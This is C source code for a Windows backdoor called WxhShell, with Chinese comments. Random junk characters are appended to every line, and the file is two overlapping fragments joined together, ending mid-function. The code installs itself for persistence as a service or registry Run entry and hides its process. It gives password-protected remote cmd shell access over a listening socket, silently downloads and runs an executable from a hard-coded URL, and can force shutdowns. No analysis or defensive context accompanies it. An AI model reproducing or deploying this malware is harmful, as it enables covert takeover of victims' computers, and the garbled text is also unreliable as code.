    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v y F(k3W  
    else { UIw6~a3E  
    closesocket(wsh);  eYRm:KC  
    ExitThread(0); YA^g[,  
    } ,[Z;"wE  
    break; `#N7ym;s@  
    } a^&3?3   
  // 获取shell ia /_61%  
  case 's': { k\M">K0E  
    CmdShell(wsh); BH=C  oD.  
    closesocket(wsh); z3-AYQ.H  
    ExitThread(0); u\G\KASUK%  
    break; hn u/  
  } YyR~pT#ffT  
  // 退出 HnfTj5J@  
  case 'x': { +UP?M4g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \t@|-`  
    CloseIt(wsh); vweD{\b  
    break; =").W\,  
    } eM`"$xc Oe  
  // 离开 aA.TlG@zP  
  case 'q': { y<5xlN(+v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uM~j  
    closesocket(wsh); zL3'',Ha  
    WSACleanup(); doaqHri\,  
    exit(1); tt>=Vt '  
    break; h9J  
        } S b3@7^  
  } uw@|Y{(K r  
  } jDc5p3D&[]  
PK* $  
  // 提示信息 b%,`;hy{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -f:uNF]Ls  
} l=JK+uZ  
  } Zx]"2U#  
OC[(Eq  
  return; lq!l{[Xp  
} yS-owtVCGF  
`_v|O{DC{  
// shell模块句柄 ^UK6q2[  
int CmdShell(SOCKET sock) x_5H_! \#  
{ ];go?.*C  
STARTUPINFO si; XX(;,[(_  
ZeroMemory(&si,sizeof(si)); ?Yp: h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }mC-SC)oSi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AHR%3W  
PROCESS_INFORMATION ProcessInfo; `p%&c%*A  
char cmdline[]="cmd"; r yO\$m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6y9#am?  
  return 0; ToVm]zPOUt  
} @YTZnGG*  
Io&F0~Z;;(  
// 自身启动模式 5q?ZuAAA  
int StartFromService(void) b=+'i  
{ ?o9g5Z  
typedef struct *^u5?{$l(  
{ Kq;Yb&  
  DWORD ExitStatus; FiqcM-Af4  
  DWORD PebBaseAddress; R{hKl#j;>  
  DWORD AffinityMask; f+huhJS5e  
  DWORD BasePriority; gI^*O@Q4{b  
  ULONG UniqueProcessId; _`zj^*%  
  ULONG InheritedFromUniqueProcessId; .r?-O{2t  
}   PROCESS_BASIC_INFORMATION; !}^ {W)h[  
?J~(qaa;  
PROCNTQSIP NtQueryInformationProcess; 7m=tu?@  
RW|3d<Fj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y m|zM1qc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >%.6n:\rG  
PQ|kE`'  
  HANDLE             hProcess; ~V"D|U;i +  
  PROCESS_BASIC_INFORMATION pbi; .~6p/fHX  
DO$jX 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |L4K#  
  if(NULL == hInst ) return 0; :WT O*M  
\qqt/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &la;Vu"dp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fG5U' Vw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m$:o+IH/  
b{t'Doe  
  if (!NtQueryInformationProcess) return 0; }cG!93  
7!`,P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); snV,rZ  
  if(!hProcess) return 0; s7<x~v+^  
FHI` /  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =x~HcsJ8!R  
+)FB[/pXk  
  CloseHandle(hProcess); W9?Vh{w  
T'l >$6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {ls$#a+d  
if(hProcess==NULL) return 0; gfs?H#  
'kK}9VKl  
HMODULE hMod; Y`3>i,S6\  
char procName[255]; 'k#^Z  
unsigned long cbNeeded; ucyz>TL0  
FMuM:%&J]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {|6(_SM|  
l =ZhHON  
  CloseHandle(hProcess); Dm[4`p@IY\  
]w(i,iJ  
if(strstr(procName,"services")) return 1; // 以服务启动 A - G?@U  
>v`lsCGb  
  return 0; // 注册表启动 |b52JF ",  
} RJ1 Q.o  
-1~bWRYq  
// 主模块 Mjrl KI}f/  
int StartWxhshell(LPSTR lpCmdLine) o@r+Y  
{ e qQAst#~  
  SOCKET wsl; m#mM2Guxe  
BOOL val=TRUE; !h{qO&ZH=  
  int port=0; 2`Xy}9N/Y  
  struct sockaddr_in door; z)r)w?A  
bH&Cbme90-  
  if(wscfg.ws_autoins) Install(); w3c[t~R8  
DJ;G0*  
port=atoi(lpCmdLine); d$/BF&n  
U&|=dH]-  
if(port<=0) port=wscfg.ws_port; GM{m(Y  
$cFanra  
  WSADATA data; [Zk|s9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PWOV~ `^;  
z1?7}9~`0c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6';'pHqe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T+m`a #  
  door.sin_family = AF_INET; pIk&NI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UjwA06  
  door.sin_port = htons(port); Bhl@\Kq  
Ft>Abj,6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $6T*\(;T@A  
closesocket(wsl); ,YJ\ $?  
return 1; Q_xE:#!;  
} yw2^kk93|  
c-!rJHL`  
  if(listen(wsl,2) == INVALID_SOCKET) { T%Vii*?M  
closesocket(wsl); #vYdP#nWb  
return 1; Nrva?W_i  
} Iw8;",e2  
  Wxhshell(wsl); tB4- of3+  
  WSACleanup(); a5:Q%F<!  
] FvN*@lG  
return 0; [nxjPx9-  
SEF/ D0  
} W\o(f W  
eP$0TDZ  
// 以NT服务方式启动 xXM`f0s@+]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]QM6d(zDA  
{ >sdj6^[+  
DWORD   status = 0; {=j!2v#8~  
  DWORD   specificError = 0xfffffff; a0Cf.[L  
.G#S*L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CE:TQzg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B5aFt ;Vj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V=BF"S;-'  
  serviceStatus.dwWin32ExitCode     = 0; ~S15tZ $  
  serviceStatus.dwServiceSpecificExitCode = 0; .HF+JHIUu  
  serviceStatus.dwCheckPoint       = 0; f*7/O |Gp  
  serviceStatus.dwWaitHint       = 0; F_U3+J>  
`UL #g![J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "?hEGJ;m"  
  if (hServiceStatusHandle==0) return; F`3c uL[N  
dX: (%_Mn  
status = GetLastError(); at${^,&  
  if (status!=NO_ERROR) z@^[.  
{ meT~b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C] qY  
    serviceStatus.dwCheckPoint       = 0; z _~f/  
    serviceStatus.dwWaitHint       = 0; &i4*tE3],  
    serviceStatus.dwWin32ExitCode     = status; Gvw4ot/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~mx me6"v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7OG=LF*V-  
    return; aR ao\Wp|  
  } p#) u2^  
_ro^<V$%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _9wX8fh3D  
  serviceStatus.dwCheckPoint       = 0; [WnX'R R  
  serviceStatus.dwWaitHint       = 0; $&Ng*oX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mHB*4L  
} I.A7H'j  
,5HQHo@  
// 处理NT服务事件,比如:启动、停止 B1 oi]hDy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :XEP:8  
{ t&^9o $  
switch(fdwControl) ]tL9y<  
{ PuqT&|wP l  
case SERVICE_CONTROL_STOP: :2{6Pa(eg  
  serviceStatus.dwWin32ExitCode = 0; U0q{8 "Pl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _?kjIF  
  serviceStatus.dwCheckPoint   = 0; W# E`h  
  serviceStatus.dwWaitHint     = 0; $]K gs6=r  
  { 3~}G~ t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kB {  
  } W'u6F-$2  
  return; u~7mH  
case SERVICE_CONTROL_PAUSE: 4eK!1|1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^EWkJW,Yc  
  break; A(2_hl-  
case SERVICE_CONTROL_CONTINUE: 2%i_SX[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KSnU;B6w>  
  break; Mh"DPt9@J  
case SERVICE_CONTROL_INTERROGATE: u+UtvzUC  
  break; bhDV U(%I6  
}; 6z=h0,Y}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >=BH$4Ce  
} "{1`~pDj?  
M3ihtY  
// 标准应用程序主函数 l{ja2brX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q&OF?z7H  
{ &NZl_7P L  
lx$]f)%~  
// 获取操作系统版本 (|+Sbq(o  
OsIsNt=GetOsVer(); nf=*KS\v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `!WtKqr%B  
/ RU'~(  
  // 从命令行安装 \^a(B{   
  if(strpbrk(lpCmdLine,"iI")) Install(); mW~t/$Y$  
d5h]yIz^  
  // 下载执行文件 !=%0  
if(wscfg.ws_downexe) { VWDXEa9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Otq`45  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^f*}]`S  
} l3kYfq{";"  
n${,r  
if(!OsIsNt) { zY_xJ"/9  
// 如果时win9x,隐藏进程并且设置为注册表启动 8axz`2`  
HideProc(); 7{F(NJUO1  
StartWxhshell(lpCmdLine); uG<VQ2LM  
} W,<L/ZKJ  
else :'1UX <&B  
  if(StartFromService()) l{q$[/J~)  
  // 以服务方式启动 rHe*/nN%*  
  StartServiceCtrlDispatcher(DispatchTable); u\LG_/UJV1  
else :lf;C T6$  
  // 普通方式启动 Zx$q,Zo<  
  StartWxhshell(lpCmdLine); |]=. ^  
~q0g7?}&  
return 0; >! u@>  
} WOqAVd\  
fDe4 [QQ8  
P$l-p'U-  
]MI> "hn  
=========================================== r=57,P(:Ca  
"V/|RC  
b-Fv vA  
85;hs  
Q I!c=:u  
nT7{`aaQl  
" [HEqMBX=;  
VjZ_L_U}  
#include <stdio.h> /rMxl(wD'  
#include <string.h> |GmV1hN  
#include <windows.h> #bRr|`  
#include <winsock2.h> ;VQFz&Q$u  
#include <winsvc.h> JiFy.Pf  
#include <urlmon.h> W40GW  
{8L)Fw  
#pragma comment (lib, "Ws2_32.lib") 31BN ?q  
#pragma comment (lib, "urlmon.lib") Y# <38+Gd  
HbQvu@  
#define MAX_USER   100 // 最大客户端连接数 #Bo/1G=  
#define BUF_SOCK   200 // sock buffer lo}[o0X  
#define KEY_BUFF   255 // 输入 buffer @3D8TPH  
e[`E-br^  
#define REBOOT     0   // 重启 &uLxA w  
#define SHUTDOWN   1   // 关机 iC U [X&  
wLa^pI4p ^  
#define DEF_PORT   5000 // 监听端口 bXN-q!  
&5 *)r@+  
#define REG_LEN     16   // 注册表键长度 TF\<`}akX  
#define SVC_LEN     80   // NT服务名长度 79.J`}#  
B@ab[dm280  
// 从dll定义API iEDZ\\,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {?a9>g-BW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d<*4)MRN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y~RZf /`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7V/yU5  
7e,<$PH  
// wxhshell配置信息 #xWC(*Ggp  
struct WSCFG { $Cu/!GA4.>  
  int ws_port;         // 监听端口 *q5'~)W<  
  char ws_passstr[REG_LEN]; // 口令 %9_wDfw~  
  int ws_autoins;       // 安装标记, 1=yes 0=no jgiP2k[Xom  
  char ws_regname[REG_LEN]; // 注册表键名 v\9:G  
  char ws_svcname[REG_LEN]; // 服务名 mwuFXu/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )9,*s !)9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2>{_O?UN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \L#BAB6z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uj.~/W1,!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nMU#g])y)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3t(8uG<rL  
Q37VhScs  
}; d6lhA7  
!g? ~<`   
// default Wxhshell configuration -Q@jL{Ue  
struct WSCFG wscfg={DEF_PORT, \!UNa le  
    "xuhuanlingzhe", S"|sD|xOb  
    1, M/U$x /3K  
    "Wxhshell", &}Y_EHj}  
    "Wxhshell", %iPu51+=  
            "WxhShell Service", B3I\=  
    "Wrsky Windows CmdShell Service", ?Y"bt^4j  
    "Please Input Your Password: ", d}f| HOFq  
  1, nsyg>=j  
  "http://www.wrsky.com/wxhshell.exe", "?j|;p@!>  
  "Wxhshell.exe" [7Nn%eZC  
    }; >/"XX,3  
@LY 5]og  
// 消息定义模块 $ Z;HE/ 3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RJs_ S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ";~}"Yz?[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i_GE9A=h  
char *msg_ws_ext="\n\rExit."; MCma3^/1  
char *msg_ws_end="\n\rQuit."; }nE#0n  
char *msg_ws_boot="\n\rReboot..."; PF.sM(  
char *msg_ws_poff="\n\rShutdown..."; D} 0>x~  
char *msg_ws_down="\n\rSave to "; ,8uu,,c  
S&-sl   
char *msg_ws_err="\n\rErr!"; b* Ipg8n+  
char *msg_ws_ok="\n\rOK!"; MW9B -x  
@{_PO{=\C  
char ExeFile[MAX_PATH]; w8%yX$<  
int nUser = 0; |PN-,f{-  
HANDLE handles[MAX_USER]; Fc}wu W  
int OsIsNt; PqcuSb6  
#},]`"n\  
SERVICE_STATUS       serviceStatus; T GMHo{ ]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; We#*.nr{3Z  
X_ >B7(k   
// 函数声明 if5Y!Tx?G  
int Install(void); G%YD2<V  
int Uninstall(void); jn\\,n"6  
int DownloadFile(char *sURL, SOCKET wsh); r"fu{4aX  
int Boot(int flag); .WL507*"Ce  
void HideProc(void); -lL*WA`  
int GetOsVer(void); `@.YyPxX\  
int Wxhshell(SOCKET wsl); q1dYiG.-Z  
void TalkWithClient(void *cs); j<deTK;.  
int CmdShell(SOCKET sock); q){]fp.,@  
int StartFromService(void); s*k"-5  
int StartWxhshell(LPSTR lpCmdLine); =< CH(4!  
>\DXA)nc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MPzqw)_-v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GWE`'V  
SO p%{b  
// 数据结构和表定义 6%S>~L66  
SERVICE_TABLE_ENTRY DispatchTable[] = LO"HwN43h  
{ /LSiDys  
{wscfg.ws_svcname, NTServiceMain}, {bETHPCf  
{NULL, NULL} 3SIB #"9  
}; 9:~,TH  
b}"/K$`Fd  
// 自我安装 6l_8Q w*5I  
int Install(void) O1#rCFC|y  
{ E#ys-t 42  
  char svExeFile[MAX_PATH]; g"Ii'JZ?  
  HKEY key; T[Gz  
  strcpy(svExeFile,ExeFile); *znCe(dd  
%Vt@7SwRJ  
// 如果是win9x系统,修改注册表设为自启动 n@mUQ6  
if(!OsIsNt) { M3z7P.\G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;? :,L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xBw"RCBz^  
  RegCloseKey(key); *Mp<4B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U'lmQrF!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p>}N9v;Bo  
  RegCloseKey(key); ;,4J:zvZdQ  
  return 0; |u}sX5/q  
    } Cn`% *w  
  } 4x C0Aw  
} *E. 2R{  
else { O3BU.X1'%  
1$Hf`h2  
// 如果是NT以上系统,安装为系统服务 v<c Hx/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &0C!P=-p  
if (schSCManager!=0) 73<iK]*c  
{ AT9SD vJ  
  SC_HANDLE schService = CreateService SQ1&n;M}f  
  ( 11-uJVO~*  
  schSCManager, $OhL 95}7  
  wscfg.ws_svcname, 9=}/t9k  
  wscfg.ws_svcdisp, ~Igo 8ykl  
  SERVICE_ALL_ACCESS, 5g5pzww  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ut,"[+ J  
  SERVICE_AUTO_START, =lmh^**4  
  SERVICE_ERROR_NORMAL, dk]ro~ [  
  svExeFile, ;yXnPAtJ  
  NULL, S8cFD):q  
  NULL, c]&VUWQ  
  NULL, p}!pT/KmpH  
  NULL, ]s S oIT  
  NULL Arv8P P^'  
  ); A3$b_i@P  
  if (schService!=0) `&6]P:_qp  
  { $G}Q}f  
  CloseServiceHandle(schService); K;ML'  
  CloseServiceHandle(schSCManager); ;C<A }  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +~v(*s C  
  strcat(svExeFile,wscfg.ws_svcname); w#$k$T)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { od fu7P_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -XyuA:pxx  
  RegCloseKey(key); Ol@ZH_  
  return 0; 8UcT? Zp  
    } /W>"G1)  
  } q'r3a+  
  CloseServiceHandle(schSCManager); 6;*(6$;  
} zK92:+^C   
} z~5'p(|@f  
 f#nmr5F  
return 1; BYf"l8^,  
} mx4*zj  
rY= #^S  
// 自我卸载 jYF3u0 )  
int Uninstall(void) 8(;i~f:bCW  
{ qh 3f  
  HKEY key; jayoARUB  
_JDr?Kg  
if(!OsIsNt) { g < o;\\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *ZGN!0/  
  RegDeleteValue(key,wscfg.ws_regname); B$Z!E%a;  
  RegCloseKey(key); H%N+V r3O,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <hbbFL}|%  
  RegDeleteValue(key,wscfg.ws_regname); xW4+)F5P(  
  RegCloseKey(key); 1 %`:8  
  return 0; U'G`Q0n  
  } +GS=zNw#  
} &/F[kAy  
} lz 6 Aj  
else { 1n"X?K5;A  
]Dg0@Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 88j ;7  
if (schSCManager!=0) sD +G+  
{ ^nF$<#a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BkfBFUDQ  
  if (schService!=0) 1_C6KS  
  { !.$P`wKr  
  if(DeleteService(schService)!=0) { xk8p,>/  
  CloseServiceHandle(schService); dCTpO  
  CloseServiceHandle(schSCManager); P0z{R[KBH  
  return 0; =[+&({  
  } 5#\p>}[HG  
  CloseServiceHandle(schService); u_8 22Z  
  } NG UGN~p  
  CloseServiceHandle(schSCManager); AHY)#|/)  
} q?4uH;h:^G  
} A5ID I<a  
*XO KH+_u  
return 1; MlE~ gCD  
} h';v'"DoW`  
e&4u^'+K  
// 从指定url下载文件 CD[=z)<z{  
int DownloadFile(char *sURL, SOCKET wsh) G\ZRNb  
{ :q<%wLs  
  HRESULT hr; m4>o E|\  
char seps[]= "/"; h_yR$H&tX  
char *token; S(h*\we  
char *file; J)|K/W9  
char myURL[MAX_PATH]; Gx_e\fe-/  
char myFILE[MAX_PATH]; b.*4RL  
@ -d4kg  
strcpy(myURL,sURL); \#,#_  
  token=strtok(myURL,seps); "Cj#bUw  
  while(token!=NULL) i6 ?JX@I  
  { guXpHF=  
    file=token; {OrE1WHB  
  token=strtok(NULL,seps); RsfT Ub)<  
  } 5udoZ >T  
F$ p*G][  
GetCurrentDirectory(MAX_PATH,myFILE); z.HNb$;  
strcat(myFILE, "\\"); _ D}b  
strcat(myFILE, file); RpP[ymMZJ  
  send(wsh,myFILE,strlen(myFILE),0); k.[) R@0%  
send(wsh,"...",3,0); Bjj^!T/#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P.Z<b:V!  
  if(hr==S_OK) Q]UYG(  
return 0; <" l;l~Y1  
else an[~%vxw}  
return 1; J4c4Os>3  
Y'0?<_ fj  
} 4 S9, tc&  
,nRwwFd.  
// 系统电源模块 l]y%cJ~$'D  
int Boot(int flag) aB6LAb2z;T  
{ 91d`LsP  
  HANDLE hToken; V9+"CB^  
  TOKEN_PRIVILEGES tkp; Sc 3M#qm_  
E(+wl  
  if(OsIsNt) { -0WCwv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); psy(]Pf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pt0}9Q  
    tkp.PrivilegeCount = 1; (G%gVk]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s{J!^q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WTv\HI2X !  
if(flag==REBOOT) { "d>g)rvOc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]m#MwN$  
  return 0; A""*vqA  
} <L ( =  
else { y"L`bl A9}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9OT4j Am  
  return 0; _m?(O/BTx  
} tF g'RV{  
  } B5H&DqWzr  
  else { 1\{U<Oli  
if(flag==REBOOT) { -JhjTA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =&:f+!1$  
  return 0; B%:9P  
} YGV#.  
else { m&~Dj#%(w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @mRrA#E#{  
  return 0; aa%&&  
} n9fA!Wic  
} fy>And*  
bok 74U]  
return 1; yP9wYF^A\  
} }d\Tk(W  
)'dH}3Ba  
// win9x进程隐藏模块 4FE@s0M,  
void HideProc(void) :`^3MMLO  
{ ! }?jCpp  
xP6?es`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o"}&qA;  
  if ( hKernel != NULL ) mS~ ]I$  
  { :8-gm"awL5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >g"M.gW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ME@6.*  
    FreeLibrary(hKernel); h 4.=sbzZ  
  } r{2].31'  
SP?U@w%}  
return; chMc(.cN0  
} fDEu%fUYZ  
}Wche/g`  
// 获取操作系统版本 3) c K*8#  
int GetOsVer(void) ) !}-\5F  
{ MAD}Tv\S7  
  OSVERSIONINFO winfo; <RPoQ'.^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b'oGt,  
  GetVersionEx(&winfo); @?7{%j*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3JZWhxkf[$  
  return 1; {+ 6D-rDw  
  else V>jhGf  
  return 0; PSf5p\<5  
} 71/m.w  
W aGcoj  
// 客户端句柄模块 X})Imk7&E  
int Wxhshell(SOCKET wsl) .F$|j1y  
{ 87pXv6'FQ  
  SOCKET wsh; !MJe+.  
  struct sockaddr_in client; ,Lun-aMd  
  DWORD myID; L}jF#*Q%  
vG<pc_ak  
  while(nUser<MAX_USER) ?9gTk \s?R  
{ %V(N U_o  
  int nSize=sizeof(client); uJam $V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~l*?D7[o  
  if(wsh==INVALID_SOCKET) return 1; hUT^V(  
z1'FmwT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~@4ZV  
if(handles[nUser]==0) 6%\Q*r*N  
  closesocket(wsh); l /png:  
else ./&zO{|0]  
  nUser++; 7.e7Fi{  
  } Vl 19Md  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 95^i/6Gl!P  
Gkv~e?Kc~^  
  return 0; \SiHrr5  
} S2 "=B&,}  
Y%0d\{@a  
// 关闭 socket o`\.I&Ij  
void CloseIt(SOCKET wsh) wLOQhviI^-  
{ (\T0n[  
closesocket(wsh); x* =sRf  
nUser--; y3cf[Q  
ExitThread(0); )b&-3$?  
} GT'7,+<?N  
Zv|p>q`R2  
// 客户端请求句柄 09 39i_  
void TalkWithClient(void *cs) hH1lgc  
{ EzIs@}  
2T@L{ql  
  SOCKET wsh=(SOCKET)cs; 1O7]3&L@  
  char pwd[SVC_LEN]; 0Ws;|Yg  
  char cmd[KEY_BUFF]; :/v,r=Y9p  
char chr[1]; cZgMA8 F  
int i,j; n|x$vgb  
AUxM)H  
  while (nUser < MAX_USER) { (/SGT$#8  
jWXR__>.  
if(wscfg.ws_passstr) { %0yS98']g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  k6O. H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I%9bPQ  
  //ZeroMemory(pwd,KEY_BUFF); 3T|Y}  
      i=0; Ts(t:^  
  while(i<SVC_LEN) { j1puB  
-Aa]aDAz68  
  // 设置超时 ;NH~9# t:  
  fd_set FdRead; % Cu.u)/+  
  struct timeval TimeOut; WGh. ;-  
  FD_ZERO(&FdRead); wy{\/?~c  
  FD_SET(wsh,&FdRead); )d +hZ'  
  TimeOut.tv_sec=8; U!c]_q  
  TimeOut.tv_usec=0; W}XYmF*_?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `l>93A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -=$% {  
BrJ o!@<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J;UBnCg  
  pwd=chr[0]; q]6_ rY.  
  if(chr[0]==0xd || chr[0]==0xa) { I#U>5"%\a  
  pwd=0; 2'wr={>W  
  break; s) Cpi  
  } JBR[; zM  
  i++; 'ySljo*It  
    } ~n[b^b  
=s'XR@  
  // 如果是非法用户,关闭 socket &:V@2_6"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -B1YZ/.rz"  
} co5y"yj_  
xfq]9<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F#(.v7Za  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ch@x]@-;A3  
|JUe>E*  
while(1) { ,0!uem}1i  
l80bHp=  
  ZeroMemory(cmd,KEY_BUFF); 8p (!]^z  
fokwW}>B[f  
      // 自动支持客户端 telnet标准   fyI_  
  j=0; D@8jGcz62  
  while(j<KEY_BUFF) { +w"_$Tj@;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Ph]F$ZP  
  cmd[j]=chr[0]; dG&2,n'f  
  if(chr[0]==0xa || chr[0]==0xd) { "~u_\STn <  
  cmd[j]=0; h|bqyu  
  break; F`!TV(,bY  
  } c[SU5 66y  
  j++; zwK }7h6]  
    } zKLn!b#>  
NSw<t9Yi  
  // 下载文件 XQ]`&w(  
  if(strstr(cmd,"http://")) { #gh p/YoTq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l8z%\p5cR  
  if(DownloadFile(cmd,wsh)) 6W5d7`A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf >YdD  
  else 4s9c#nVlu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YgCc|W3{  
  } D7)(D4S4  
  else { UL+E,=  
Bwjg#1E  
    switch(cmd[0]) { $^t<9" t  
  ,Ij=b  
